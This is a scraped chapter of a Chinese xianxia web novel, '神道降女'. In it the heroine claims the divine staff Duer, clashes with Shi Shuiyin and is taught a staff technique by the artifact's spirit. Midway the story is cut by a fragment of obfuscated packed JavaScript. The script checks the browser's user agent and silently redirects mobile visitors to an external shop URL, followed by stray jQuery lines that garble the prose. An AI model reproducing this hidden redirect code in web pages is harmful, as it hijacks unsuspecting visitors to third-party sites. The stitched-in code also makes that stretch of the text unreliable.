文趣网 > 其他小说 > 神道降女 > 27.神器渡厄
    听师水音的意思,她认为这些金字圣光,都是百炼生留下来的防御机制。

    可虞听晚不这么认为。

    他若真的有这般本事,何至于被师水音一剑贯穿心脏?

    那些圣光,分明是…神族的力量。

    她茫然地盯着那根玉棍,一瞬间脑中思绪万千。青衣仙子告诉过她,她是神道封闭后,下界唯一的神官。

    那眼前的这把神器,又是哪位上神遗落的呢?

    这些金光对她没有压制,她轻而易举地便走了过去,在两人惊诧的目光下,靠近了那方石台。

    她离它愈来愈近了,那根通透的玉棍袒露在她眼前。

    淡蓝色的光芒散发着缕缕温和清气 ,玉棍的两端纂刻了些云纹。棍身上有着一排规律的孔洞,意味着它也可以缩变成玉笛的状态。

    百炼生的清商绕玉棍,完全是仿制的面前这根,可惜远比不上神器的威武。

    她伸手欲要拿起它,面前却倏地出现了一行金字。

    她眼神微怔,随即语速低缓,将眼前的字一一念了出来。

    “渡尽世间厄,方成无上道…”

    “你叫渡厄?”她瞳孔微缩。

    不知道为什么,这两个字蓦地在她心底浮现。

    面前的神器闪烁了一道光芒,似是在回应她的话。

    师水音震惊地看着她,来不及过多思考,见她要伸手拿走玉棍,连忙喝斥:“混账!给我放下!!”

    “不是你的东西,你最好不要肖想,否则天涯海角,也有人将你追杀到底——”

    虞听晚:……好强的威胁

    怎么不早点儿说,她已经拿了啊喂!

    她握着手中那根玉棍,转身后面露难色地看向师水音。

    所有的防御机制悉数散去,金字圣光围绕着她,卷起阵阵风流,吹拂着她的发丝和裙摆,温润着她的灵魂。

    那抹金色最终蹿入她的眉心,与她的灵魂相融合。

    渡厄,已经彻底认她为主了。

    地上被压趴的两人,僵硬沉重的肌肉渐渐恢复。方才被切断感应的灵力,也在一点一点重回掌控。

    师水音站起身,一双凤眼审视地盯着她。抬手间挥去一道术法,摘掉了她的面具。

    银制面具“哐当”一声落地,露出了那张尚且青涩的脸庞。线条流畅的鹅蛋脸,和珠玉生辉般的双眸。

    世事还未在她的脸上碾过留痕,所以她的每一个眼神,每一个神态,都显得无比青涩,充满生气。

    她并不抵母亲的绝色姝容,唯一遗传到师雪凝的,只是眉目间的三分神韵。

    被迫褪去伪装后,她眼神轻颤,紧张地同眼前的紫衣妇人对视。

    坦白地说,她是有些害怕师水音的。幼年那一面留给她的,全是心理阴影。

    师水音没认出她是谁,眉头紧蹙道:“又是一个没名头的。”

    她只是觉得这人的眉目有些熟悉,在这样的场合下,远远不会想到她是姐姐的孩子。

    江菱冷哼一声,反唇讥笑道:“总说旁人没名气,就没想过——是不是自己太老了?”

    女人最忌讳的就是被人说老,何况是在两个韶华少女面前。师水音闻言神情顿变,眼神狠辣地瞪着她:

    “小东西,找死!!”

    江菱一向嘴毒,迟早要在自己的性子上吃亏。就比如现在,明明她是不敌轻光道人师水音的,却还是出言嘲讽,吸引了她全部的怒火。

    刚刚恢复的她接招有些吃力,很快便被师水音点穴封住了灵脉,只能轻功闪避。

    虞听晚拿着手中的渡厄有些局促,想要上前帮忙,却只能愣在原地。

    神器在手有什么用?

    她根本就不会使啊!!

    眼看师水音的剑,已经逼近被卸了力的江菱,虞听晚不管不顾地一棍子甩了过去。

    渡厄顺着她的力道,在空中几经翻滚,即将碰到师水音的衣诀时,“哐啷”一声被她转身回剑挡住。

    神器就在眼前,她直接伸手握住了玉棍,再施下一道封印术,企图用术法困住它。

    身后的江菱见状无语了,翻了个白眼。不用想也知道,她骂的很脏。

    虞听晚丝毫不慌地叫了一声:

    “渡厄!!”

    师水音手中的玉棍顿时如烟雾般消散,渡厄随即重新浮现在虞听晚的身前。

    两人眼神愕然地看着她,都没料到会是这种结果。

    化烟消散…又重聚…??

    她眉头微扬,有些得意得笑了 。

    这可是神器,自是不同于凡间俗物。

    认主也并非简单的认主,而是和她的灵魂相融,化成了她的一部分。

    连接她和渡厄的,是不受任何术法拘束的魂灵之息。

    除非她的灵魂消散,还于天地。否则即便万道术法加身,它也只会听从她一个人的召唤和驱使。

    师水音对于江菱的怒气,远抵不上此刻看向虞听晚的震惊。

    护法交给她的任务,是为即将苏醒的邪神大人,献上神器渡厄。

    可眼下看来,不杀了面前这个小丫头片子,她是无论如何都带不走神器的。

    “你到底…是什么人?”她缓步朝她走近,一双凤眸里尽是凛冽的杀意。

    身后的江菱被她用屏蔽术隔开,她将重心全部放在了面前的虞听晚身上。

    她忽地咧嘴笑了,眼里的杀意削减了几分,取而代之的是好奇。

    她提剑指着她,笑道:“要么跟我走,要么死在这儿。”

    跟她走?

    那不就进了邪道的老巢了吗?!眼下她实力尚弱,身上也没有神格,绝对不敢踏入无尽海半步。

    她攥紧了手中的渡厄,却也知道这把新得的兵器还不趁手,抵不过旁人修炼多年的剑法。

    没关系,她还能施法。

    至于灵气…就抽谢珩的吧…

    她和谢珩结契之后,还未来得及解契,眼下正是派上用场了。

    “小丫头,我最讨厌等了。你要是再不说话,我就划花你的脸,让你慢慢想…”她阴森森道。

    虞听晚闻言睫毛轻颤,讪讪地笑着同她斡旋,另一只手背在身后,捏契引灵。

    “我说姐姐,这种生死攸关的事情,你总得让人多考虑一下嘛。”

    她笑得人畜无害,发髻上的珠玉轻晃,

    仿佛只是个不谙世事的千金小姐。一口一个姐姐,哄的师水音也削了两分怒气。

    她现在对这小丫头,越来越感兴趣了。

    不止是她,她相信,邪殿那群人若是知道渡厄认主,绝对会比她更加好奇面前这个小丫头。

    她得将人带回去,查明一切。

    魂契生效后,她的指尖顿时生出了许多亮光。点点灵光蹿入体内,她的灵脉像是被点燃了一般,闪着蓝色灵光。

    而远处正在寻她的谢珩,他的灵脉也蓦地亮起了光芒。灵力被一点点剥离,属于对方的魂息出现并安抚着他。

    他明白,虞听晚一定是遇到了什么危险。于是顺着这点儿感应,继续寻找着。

    “你在做什么?!”师水音眉头紧蹙地斥道。

    她已然察觉到了不对劲,提剑向她冲杀过去。

    虞听晚还是将玉棍一甩,拦下她的动作,随即立刻双手捏诀,施了屏蔽术。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15968231|176582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“渡厄!”她又叫了一次。

    渡厄再次化烟消散,重现在她身前。

    师水音怒道:“你没完了是吧?!”

    她如今唯一会的,就只是扔棍子再唤回。这实在有些侮辱人,还不抵酣畅淋漓地打一架。

    师水音奋力攻击着她幻化的屏障,每一击都是致命击,却抵不住谢珩源源不断的灵气补充。

    她突然有些害怕,不会就这么把谢珩的灵气抽干吧?。

    器灵大概感应到了她的无措,一道清冽的声音,突然在她脑海中响起。

    渡厄:“你…没学过棍法?”

    虞听晚诚实道:“没有。”

    渡厄:“那音笛呢?”

    “……”

    虞听晚:“也没有。”

    渡厄闻言有些郁闷了。

    它觉得自己应该是沉睡了太久睡傻了!这次认主认得也太草率了!!

    明明知道前人已经灵魂消散,还于天地,是万不可能有什么转世的。

    却还是因为感应到她身上,那点微弱的熟悉的气息,而认她作主。

    罢了罢了,已经发生的就是命数安排好的。既然命运将她们绑在了一起,那就看看,到底是一场捉弄,还是冥冥之中的因果吧。

    渡厄:“棍法和音笛,你现在立马选一个更能接受的。”

    虞听晚汗颜,摸了摸耳朵,有些心虚道:“那就棍法吧,好歹我会扔嘛。”

    渡厄:……

    天知道它作为神器,被人这么毫无技巧地扔出去时,有多么丢脸?!

    作为器灵,它竟然也体会到了心累是什么感觉。

    在她话毕之后,眉心的金光流转。她双目失神,脑海中被投入了一段影像。

    画面中的人是谁她看不清楚,柔光模糊掉了那人的长相。

    只知道是一个仙姿玉立的女子,她静静地站立着,耳畔青丝随着落花一同飘遥。身上的气质淡雅出尘,如清风拂面,似明月照夜。

    她手持玉棍,衣诀翻飞间,轻盈有力地打出了一招一式。

    手中玉棍挥出的那一刻,周围的一切风波静止,漫天花叶纷纷停滞不得落。再一击,风波重舞,为她所用,漫天花叶在一瞬之间消散成尘。

    最后,女子背手竖棍侧立,偏眸瞧向她的那一瞬,倩影随风而散。

    “她是谁?”虞听晚眼神一亮,简直要被帅飞了。

    这招势力强悍,持棍人出棍的动作却带着几分随性。给她演示时,以落花飞叶为例,场面恢宏浪漫又极具观赏性,刚刚好俘获她这种小女孩的心。

    渡厄骄傲地哼了一声,“这是我的第一任主人,天翎宗大师姐楼明月。天洧三年,飞升成仙,世称玉衡仙子。”

    “你学的这套棍法,叫清风明月。是她未飞升前,自创的一套棍法。”

    渡厄原本只是凡间一把普通的玉棍,是楼明月飞升上仙,让它也跟着沾光。来到九重阙后,经过雾绡仙子重塑,才成了后来棍笛两契的神器渡厄。

    虞听晚没听过这位仙子的名讳,想来神族人多,一两个她不识得也正常。

    只是玄门总共五百二十宗,她从未听说过有天翎宗这个宗门。

    渡厄叹了一声,道:“那已经是一千五百年前了,如今自是没有。那是邪神未觉醒前,道玄最为鼎盛的时代。”

    她和渡厄心魂相通,两人在识海中用意念对话,即使不说出口,也能读懂对方的所思所想。

    虞听晚不知道的是,因为封闭神道遭到反噬,陷入短暂沉睡的邪神,曾经是天翎宗的外门弟子,也算是楼明月的师弟。

    然而他觉醒后,第一个屠灭的就是天翎宗。